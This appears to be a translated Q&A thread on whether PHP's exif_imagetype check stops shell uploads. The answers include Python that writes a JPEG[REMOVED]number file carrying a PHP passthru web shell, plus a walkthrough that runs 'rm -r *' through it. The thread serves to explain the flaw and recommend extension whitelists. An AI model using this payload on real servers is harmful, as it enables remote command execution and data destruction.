10

我读到exif_imagetype是安全功能,以避免上传 php 或其他 shell 代码而不是图像文件。最近我读到另一篇文章,我们可以通过一些简单的方法绕过这个安全功能。因此,如果有人知道绕过的确切方法,您可以分享您的答案。

我在我的 php 脚本中使用了以下代码,所以我想知道这是否易受攻击并对此进行补救

 if (! exif_imagetype($_FILES['upload']['tmp_name'])) 
   { 
    echo "File is not an image";
   }
4

4 回答 4

12

根据@jake_the_snake 先生的回答,我还将在 Python 中包含一个快速代码示例

>>> fh = open('shell.php', 'w')
>>> fh.write('\xFF\xD8\xFF\xE0' + '<? passthru($_GET["cmd"]); ?>')
>>> fh.close()
于 2017-03-30T16:31:53.847 回答
9

这比只运行 exif_imagetype 要复杂一些。该函数只是检查文件开头的幻数,因此需要更多检查。如果对您的软件没有更多了解,很难做出判断,但请考虑以下示例:

我用 JPEG 幻数 0xFFD8FFE0 后跟 string 构造“shell.php” <? passthru($_GET["cmd"]); ?>

我上传到你的服务器。魔数绕过exif_imagetype。文件上传到www.your-domain.com/uploads/shell.php. 然后我导航到www.your-domain.com/uploads/shell.php?rm -r *. 服务器找到开始<?并开始解释 PHP。耶!假设您在 Linux 网络服务器上运行,我已经删除了所有上传的内容。

即使对图像的有效性进行更深入的检查也无济于事,因为我可能会将我的恶意脚本包含在图像的元数据中。这只能通过使用文件扩展名的白名单来防止。

[TL;DR] 没有更多检查是不安全的。您需要确保适当的文件名、使用文件扩展名白名单、限制文件大小并执行标准安全措施。

于 2016-11-01T19:04:12.453 回答
1

@solidak 的答案适用于,python2因为它现在已被弃用,这是一个Python3重写:

>>> fh = open('shell.php', 'wb')
>>> fh.write(b'\xFF\xD8\xFF\xE0' + b'<? passthru($_GET["cmd"]); ?>')
>>> fh.close()
于 2021-02-08T01:34:21.057 回答
-5

为了安全起见,我使用

$extension = pathinfo($_FILES['upload']['name'], PATHINFO_EXTENSION);

if(!in_array(strtolower($extension), array('jpg', 'jpeg', 'png', 'gif')))
{
    echo "File is not an image";
}
于 2014-12-18T11:14:42.400 回答